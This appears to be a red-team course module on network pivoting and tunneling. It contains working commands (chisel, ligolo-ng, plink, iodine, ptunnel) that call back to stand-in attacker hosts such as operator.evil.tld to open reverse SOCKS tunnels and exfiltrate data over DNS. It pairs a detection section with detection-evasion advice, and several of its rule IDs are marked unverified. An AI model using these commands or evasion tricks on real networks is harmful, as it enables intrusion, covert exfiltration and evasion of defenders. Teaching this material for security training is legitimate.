Pivoting & Tunneling
A single foothold is rarely the goal — it is the first hop in a chain that crosses N network segments, each with its own egress restrictions. Pivoting is the technique of routing traffic from your operator station through compromised hosts to reach otherwise-unreachable destinations. Tunneling is the encapsulation that makes a private protocol ride over an allowed one (DNS, ICMP, HTTPS). The detection surface is the same in both cases: traffic that originates from an unusual source, in an unusual volume, with unusual timing, on an unusual port.
The Core Concept
Section titled “The Core Concept”A pivot is a chain of relay points, each forwarding packets between two interfaces — physical or virtual:
Operator (192.168.0.5) │ │ SSH/SOCKS to foothold:1080 ▼ Foothold (10.0.0.10, dual NIC 10.0.1.10) ← segment 1: 10.0.0.0/24 (your internet egress) │ │ forwarded through chisel/ligolo to next hop ▼ Pivot Host (10.0.1.20, dual NIC 172.16.0.20) ← segment 2: 10.0.1.0/24 (internal) │ │ another forwarder ▼ Target (172.16.0.50) ← segment 3: 172.16.0.0/24 (data center)The defender’s job is to notice the chain. Most defenders in segment 2 will see traffic that originates from 10.0.1.20 — a legitimate source — but the volume, periodicity, and destination set will be anomalous.
A tunnel wraps the inner protocol inside the outer:
Inner TCP to 172.16.0.50:445 (the target the operator wants) │ │ encapsulated inside DNS queries to attacker-controlled authoritative NS ▼ DNS A query: <base32-encoded-bytes>.exfil.evil.tld → forwarded by the resolver │ ▼ Authoritative NS for evil.tld (decodes, forwards to 172.16.0.50:445) │ ▼ Response as DNS TXT records carrying the SMB response bytes backHow It Works
Section titled “How It Works”Layer-3 (IP) pivot: the pivot host routes packets between two interfaces. Requires IP_FORWARD=1 (Linux) or Routing and Remote Access (Windows). Detection is straightforward — the pivot host has net.ipv4.ip_forward=1 and you can see packets arriving on one interface and leaving on another.
Layer-4 (SOCKS) pivot: the pivot host runs a SOCKS4/5 server. The operator points their tools at the SOCKS server, which connects out as the pivot host. The classic Linux approach is ssh -D 1080 user@pivot (an SSH dynamic port forward), then proxychains nmap -sT -Pn target. Tools like Chisel, ligolo-ng, and Plink (-D 1080) work similarly.
Reverse SOCKS over HTTP/WebSocket: Chisel and ligolo-ng run a server on the operator side and a client on the foothold. The client connects back over HTTP/WebSocket and registers a reverse SOCKS listener. From the operator’s perspective, you connect to 127.0.0.1:1080 and reach the foothold’s internal network.
Operator ──── 127.0.0.1:1080 (chisel server) ──── ▲ │ reverse connection established │ by chisel client over HTTPS │ Foothold (chisel client - --reverse) │ │ outgoing SOCKS connect ▼ 10.0.1.50:445 (target)Protocol tunneling: the inner protocol is wrapped inside an allowed outer protocol:
- DNS tunneling:
iodine,dnscat2. Encodes payload bytes in DNS labels. A query per ~200 bytes of payload. - ICMP tunneling:
ptunnel,icmptunnel. Payload bytes in ICMP echo data. Detectable by volume (legitimate ICMP is rare). - HTTP(S) tunneling:
Chisel,Neo-reGeorg,Tunna. WebSockets or chunked HTTP. Looks like browsing to a proxy.
Reverse port forward (single port): ssh -R 8080:target:80 operator@your-machine. The operator can now reach target:80 on localhost:8080 via the SSH connection. Useful for accessing a single internal service.
Common Techniques
Section titled “Common Techniques”| Technique | Layer | Outer Protocol | Typical Tool |
|---|---|---|---|
| SOCKS via SSH | L4 | SSH | ssh -D 1080 |
| Reverse SOCKS | L4 | HTTP/WS | chisel, ligolo-ng, Neo-reGeorg |
| Reverse port forward | L4 | SSH | ssh -R, plink |
| IP forwarding | L3 | IP | sysctl net.ipv4.ip_forward=1 |
| DNS tunnel | L4 | DNS | iodine, dnscat2 |
| ICMP tunnel | L4 | ICMP | ptunnel, icmptunnel |
| HTTP tunnel | L4 | HTTP/WS | Chisel, reGeorg, Tunna |
| GRE/IPIP | L3 | IP/GRE | (rare in red team) |
Hands-On Commands
Section titled “Hands-On Commands”# SSH dynamic SOCKS proxy — run from operatorssh -D 1080 -N user@foothold.example.com# Now any tool with proxychains can reach the foothold's network
# Run nmap through the SOCKS proxyproxychains nmap -sT -Pn -p 22,80,445 10.0.1.50
# Reverse SOCKS with Chisel — operator sidechisel server --reverse --port 8000# On the foothold (Windows or Linux)chisel client --auth user:pass https://operator.evil.tld:8000 R:1080:socks# Now the operator has 127.0.0.1:1080 = SOCKS into the foothold's network
# Ligolo-ng — operator side./proxy -laddr 0.0.0.0:11601 -selfcert# On the foothold (Windows)./agent -connect operator.evil.tld:11601 -ignore-cert# In the ligolo REPLifconfig # show tunnel interfacestart # start SOCKS# Add a route to 10.0.1.0/24 via the tunnel interfaceip route add 10.0.1.0/24 dev ligolo0
# Reverse port forward via SSHssh -R 445:internal-target:445 user@operator.evil.tld# Now 127.0.0.1:445 on operator.evil.tld = internal-target:445
# DNS tunneling with iodine# Operator side (authoritative NS)iodined -f -c -P pass tunnel.evil.tld# Footholdiodine -f -P pass tunnel.evil.tld# Get a TUN device, route target subnet through it
# ICMP tunnel with ptunnel (needs root both sides)ptunnel -p relay.evil.tld -lp 8080 -da internal-target -dp 22# Connect to localhost:8080 = internal-target:22 over ICMP
# Plink on Windows (reverse SOCKS, runs as a service)plink.exe -l user -R 1080 -N evil.tld -P 443 -pw pass
# Capture traffic to confirm your tunnel is encapsulatedtcpdump -i eth0 -nn 'tcp port 8000 and host foothold'Detection — Defender View
Section titled “Detection — Defender View”Suricata / Zeek on egress gateway — alert on sustained outbound HTTPS sessions from a non-employee host with high volume, fixed payload size, no User-Agent rotation, or to a non-CDN IP. Chisel over HTTPS uses WebSocket upgrade — Zeek can detect the Connection: Upgrade header pattern.
Suricata SID 2221024 [verify] — DNS tunneling heuristic: high query rate per host (>5 queries/sec sustained), long labels (>40 chars), high entropy in subdomains.
Suricata SID 2403000 [verify] — iodine specific signature on txt-version field.
Sysmon Event ID 3 — NetworkConnect — alert on chisel.exe, ligolo.exe, plink.exe, iodine.exe making outbound connections. These binaries are not part of standard Windows deployments.
Sysmon Event ID 7 — ImageLoad — alert on Rasman loading wininet.dll (unusual for a system service).
Windows Event 22 (DNSEvent in Sysmon schema) — high rate of *.evil.tld queries from a single host.
MITRE ATT&CK T1571 — Non-Standard Port.
MITRE ATT&CK T1572 — Protocol Tunneling.
MITRE ATT&CK T1573 — Encrypted Channel: Symmetric Cryptography.
MITRE ATT&CK T1090.003 — Proxy: Multi-Hop (the pivot chain itself).
MITRE ATT&CK T1048.004 — Exfiltration over Alternative Protocol: DNS.
MITRE ATT&CK T1071.004 — Application Layer Protocol: DNS (for DNS tunneling).
Wazuh rule 31103 [verify] — outbound connection on non-standard port.
Wazuh rule 920/622 [verify] — DNS tunneling heuristic.
SigmaHQ rule win_chisel_usage.yml — published detection for chisel.exe binaries.
Evasion Techniques
Section titled “Evasion Techniques”TLS in TLS. Wrap your tunnel inside a legitimate TLS session. stunnel (or frp with TLS) wraps the chisel WebSocket in another TLS layer. The egress sees only an opaque TLS session.
Domain fronting. Use a CDN (e.g., *.cloudfront.net) and set the Host header to a different domain that the CDN serves. The egress gateway sees only the TLS SNI of the CDN, which is allow-listed. Most CDNs have largely killed this, but Azure Front Door and Fastly still allow it under specific configurations.
Domain rotation. Register many short-lived domains. Rotate the C2 every N minutes. The detection on a single-domain sinkhole fails because no single domain is queried enough to trigger the rate threshold.
Pivot through Microsoft 365 / Azure. AzureAD outbound is rarely blocked. An OAuth-2-leg token flow to a tenant-registered application can exfiltrate data via Microsoft Graph API calls — looks like legitimate Outlook/Teams traffic.
Slow-DNS. Many DNS tunneling detections key on queries/sec > N. Reduce to queries/minute = N and the heuristic stops firing. Latency is the cost.
Blend with HTTP/2 or HTTP/3. Chisel and ligolo-ng have an option to use HTTP/2 frames, which look like normal browsing sessions. The frames are larger, the timing less bursty.
| Evasion | Defeats | Cost |
|---|---|---|
| TLS in TLS | DPI on the inner protocol | +1 hop, +1 cert |
| Domain fronting | Egress URL filtering | Many CDNs killed it |
| Domain rotation | Single-domain sinkholes | +Domain fees, +infra |
| Microsoft Graph exfil | URL egress filtering | Throttled by tenant |
| Slow DNS (qps<1) | DNS rate-based detection | ~1 KB/min throughput |
| HTTP/2 framing | HTTP/1.1-pattern DPI | None for modern infra |
⚠️ What caught me: I set up a Chisel reverse SOCKS over WSS and used it heavily. The blue team didn’t see the tunnel — they saw the
chisel.exebinary’s PE metadata (compile timestamp, original filename in the file’sVersionInforesource). Sysmon EID 1 logged the process, the SOC’s YARA rule onchisel.exematched the unmodified binary I’d shipped. The lesson: tunneling tools have their own binary signatures. Stripping or renaming the binary is mandatory before deployment.
Lab Practice
Section titled “Lab Practice”VM type: Three Linux VMs in three isolated networks. Operator (segment A), Foothold (segment A + B), Target (segment B + C). Docker is acceptable.
Objective:
- Pivot from Operator → Foothold via reverse SOCKS over Chisel.
- From Foothold → Target via reverse port forward (SSH
-R). - Establish a DNS tunnel to exfil data via a local authoritative NS.
- Confirm that a Suricata DNS-tunnel heuristic fires when you exceed the rate threshold.
Steps:
- Operator:
chisel server --reverse --port 8000 --cert operator.crt --key operator.key - Foothold:
chisel client https://operator:8000 R:1080:socks - Operator:
proxychains nmap -sT -Pn -p 22,445 192.168.2.0/24— discover target - Operator:
ssh -R 445:target:445 foothold@10.0.0.10— reach target via foothold - Run a DNS tunnel:
iodined -f -c -P pass tunnel.evil.tldon authoritative NS;iodine -f -P pass tunnel.evil.tldon foothold; ping target through the tunnel - Increase query rate to 50 qps; confirm Suricata SID fires
Expected flag format: flag{pivot:socks_via_chisel:exfil_via_dns:target_172_16_0_50:445}
Detection that should fire: Suricata DNS tunnel heuristic, Sysmon EID 3 from chisel.exe/iodine.exe.
Interview Questions
Section titled “Interview Questions”Explain the difference between a layer-3 pivot (IP forwarding) and a layer-4 pivot (SOCKS). Which one is more flexible and which is more detectable on a network that logs ARP and L2 forwarding?
Scenario: you have a foothold on an internal Linux host with outbound HTTPS only. What three tunnel techniques could you use to reach an unreachable host on a third internal subnet, and what detection each is most likely to trip?
Technical: describe how iodine encodes payload bytes into DNS queries, and what entropy/rate signal this generates that Suricata heuristics key on.
Conceptual: why does “domain fronting” evade URL-based egress filters, and what change in modern CDNs largely killed the technique?
What is the defender’s most reliable detection for a reverse SOCKS tunnel that uses TLS to a non-CDN destination, and what compensating control would you add if egress filtering is not politically possible?
Related Modules
Section titled “Related Modules”→ PE4 (Lateral Movement) · C8 (C2 Channel Hardening) · R8 (Stealth Recon)